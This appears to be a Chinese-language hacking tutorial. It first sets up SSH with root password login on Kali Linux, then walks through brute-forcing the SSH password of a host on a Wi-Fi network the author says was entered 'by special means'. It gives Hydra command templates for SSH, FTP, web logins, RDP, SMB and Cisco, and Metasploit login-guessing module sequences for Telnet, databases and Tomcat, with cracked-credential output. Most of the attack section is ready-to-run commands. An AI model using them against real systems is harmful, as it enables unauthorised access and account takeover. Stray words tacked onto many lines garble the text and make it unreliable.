一. SSH服務開啓前基礎配置php
1.1 修改配置文件📃mysql
以下圖示:打開root/etc/ssh/sshd_config 目錄下文件web
把# Port 22 修改成 Port 22 ,開啓22號端口sql
把# ListenAddress 0.0.0.0 修改成 ListenAddress 0.0.0.0 ,容許全部IP地址訪問22號端口tomcat
把# PermitRootLogin yes 修改成 PermitRootLogin yes ,開通root用戶登陸權限,即root用戶能夠經過SSH遠程登陸Kali服務器
把# PasswordAuthentication yes 修改成 PasswordAuthentication yes ,開通密碼驗證服務,使用SSH遠程登陸Kali時須要root用戶的密碼網絡
1.2 在Kali界面開啓SSH 服務,而後將Kali放到後臺運行ssh
在Kali命令後窗口輸入 :service ssh start , 開啓SSH遠程登陸服務工具
在Kali命令後窗口輸入 :service ssh status , 查看SSH服務狀態 ,如圖示:runningpost
在Kali命令後窗口輸入 :service ssh stop ,關閉SSH服務
在Kali命令後窗口輸入: service ssh restart ,重啓SSH服務
在Kali命令後窗口輸入: update-rc.d SSH enable ,開機自啓SSH服務
在Kali命令後窗口輸入: update-rc.d SSH disabled ,關閉SSH服務開機自啓
1.3 使用SecureCRT軟件登陸Kali並進行管理操做
在MacBook Pro 桌面打開SecureCRT軟件 (點此下載 Mac&Win可選)
開始建立新的Quick Connect鏈接
填寫Kali的IP地址、端口號(SSH服務通常是22號端口)、用戶
輸入root用戶的密碼,最後登陸成功
二. 暴力破解SSH登陸口令
假設咱們經過特殊手段連入CMCC-yXz3 的Wi-Fi無線網絡 ,拓撲圖以下:
2.1使用nmap 掃描192.168.1.0/24網段,查看那臺設備開啓SSH服務
下圖可知:
192.168.1.2 開放22號端口,開啓SSH服務,是一臺Apple主機;
192.168.1.3 開放22號端口,開啓SSH服務,是一臺基於Linux內核的Debian設備
咱們推斷,192.168.1.3 極有多是一臺開放SSH服務的服務器,而192.168.1.2是經過SSH鏈接服務器的終端管理設備
首先,咱們知道192.168.1.3極有多是開放SSH服務的某類服務器,而咱們須要知道其用戶名和登陸口令,從而獲取192.168.1.3的控制權
其次,咱們採用Hydra"九頭蛇"暴力破解工具來達到目的,在Kali命令行界面輸入: hydra -h ,查看hydra幫助信息,以下圖👇
如今,經過使用Hydra來爆破192.168.1.3的用戶名和登陸口令
Kali中自帶暴力破解字典,在/usr/share/wordlists/目錄下,可自行選取,技術大神也可自行編寫私人暴破字典!
當看到界面👇顯示 [22][ssh] host: 192.168.1.3 login: root password: toor,咱們太開心了!
暴力破解: hydra(九頭蛇) 參數: -R 繼續從上一次進度接着破解 -S 大寫,採用SSL連接 -s 小寫,可經過這個參數指定非默認端口 -l 指定破解的用戶,對特定用戶破解 -L 指定用戶名字典 -p 小寫,指定密碼破解,少用,通常是採用密碼字典 -P 大寫,指定密碼字典 -e 可選選項,n:空密碼試探,s:使用指定用戶和密碼試探 -C 使用冒號分割格式,例如「登陸名:密碼」來代替-L/-P參數 -M 指定目標列表文件一行一條 -o 指定結果輸出文件 -f 在使用-M參數之後,找到第一對登陸名或者密碼的時候停止破解 -t 同時運行的線程數,默認爲16 -w 設置最大超時的時間,單位秒,默認是30s -v /-V顯示詳細過程 各協議的具體命令: 格式+示例:
1、破解ssh: hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip ssh hydra -l 用戶名 -p 密碼字典 -t 線程 -o save.log -vV ip ssh
2、破解ftp: hydra ip ftp -L 用戶名字典 -P 密碼字典 -t 線程(默認16) -vV hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
3、get方式提交,破解web登陸: hydra -L 用戶名字典 -p 密碼字典 -t 線程 -vV -e ns ip http-get/admin/ hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交,破解web登陸: hydra --L 用戶名字典 -P 密碼字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword" hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>" 參數說明: -t同時線程數3,-l用戶名是admin,字典pass.txt,保存爲out.txt,-f 當破解了一個密碼就中止, 10.36.16.18目標ip,http-post-form表示破解是採用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回信息提示
5、破解https: hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 6、破解teamspeak: hydra -L 用戶名字典 -P 密碼字典 -s 端口號 -vV ip teamspeak 7、破解cisco: hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 8、破解smb: hydra -L 用戶名字典 -P pass.txt 10.36.16.18 smb 9、破解pop3: hydra -l muts -P pass.txt my.pop3.mail pop3 10、破解rdp: hydra ip rdp -l administrator -P pass.txt -V 十一、破解http-proxy: hydra -l admin -P pass.txt http-proxy://10.36.16.18
2.2 使用Metasploit工具集中的小插件暴破SSH服務登陸口令
首先,開啓Metasploit,命令行以 "msf >" 開頭
在命令行窗口輸入: search ssh ,查看與SSH相關的攻擊模塊 ,其中,咱們須要的模塊:auxiliary/scanner/ssh/ssh_login
其次,
在msf命令後界面輸入 :use auxiliary/scanner/ssh/ssh_login ,調用SSH攻擊模塊
在msf命令後界面輸入 :show options ,查看須要咱們設置的參數 ,咱們須要補充四點:目標主機IP地址、用戶名字典路徑、密碼字典路徑、線程數(即每秒跑幾個密碼)
在msf命令後界面輸入 :show options ,查看設置正確與否,如圖👇
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.3 rhosts => 192.168.1.3 msf auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/ssh_username.txt username_file => /usr/share/wordlists/ssh_username.txt msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/ssh_password.txt pass_file => /usr/share/wordlists/ssh_password.txt msf auxiliary(scanner/ssh/ssh_login) > set threads 5 threads => 5
最後,在msf命令後界面輸入: run 發起攻擊 ,通過漫長等待⌛️,咱們看到:[+] 192.168.1.3:22 - Success: 'root:toor' !
Kali Linux(Metasploit口令猜解模塊) Metasploit口令猜解模塊—— SSH服務口令猜解: msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模塊) msf auxiliary(ssh_login) > show options (查看選項) msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目標) msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶) msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(ssh_login) > set THREADS 50(線程) msf auxiliary(ssh_login) > exploit (開始) Telnet口令猜解: msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模塊) msf auxiliary(telnet_login) > show options (查看選項) msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目標) msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶) msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(telnet_login) > exploit (開始) Samba口令猜解: msf > use auxiliary/scanner/smb/smb_login (使用smb_login模塊) msf auxiliary(smb_login) > show options (查看選項) msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目標) msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶) msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(ssmb_login) > exploit(開始) Mysql口令猜解: msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模塊) msf auxiliary(mysql_login) > show options (查看選項) msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目標) msf auxiliary(mysql_login) > set USERNAME root(用戶名字典,或指定用戶) msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(mysql_login) > exploit(開始) Postgresq口令猜解: msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模塊) msf auxiliary(postgres_login) > show options (查看選項) msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目標) msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶) msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(postgres_login) > exploit (開始) Mssql口令猜解: msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模塊) msf auxiliary(mssql_login) > show options (查看選項) msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目標) msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(用戶名字典,或指定用戶) msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(mssql_login) > exploit(開始) Tomcat口令猜解: msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模塊) msf auxiliary(tomcat_mgr_login) > show options(查看選項) msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目標) msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(用戶名字典,或指定用戶) msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密碼字典文件) msf auxiliary(tomcat_mgr_login) > exploit(開始)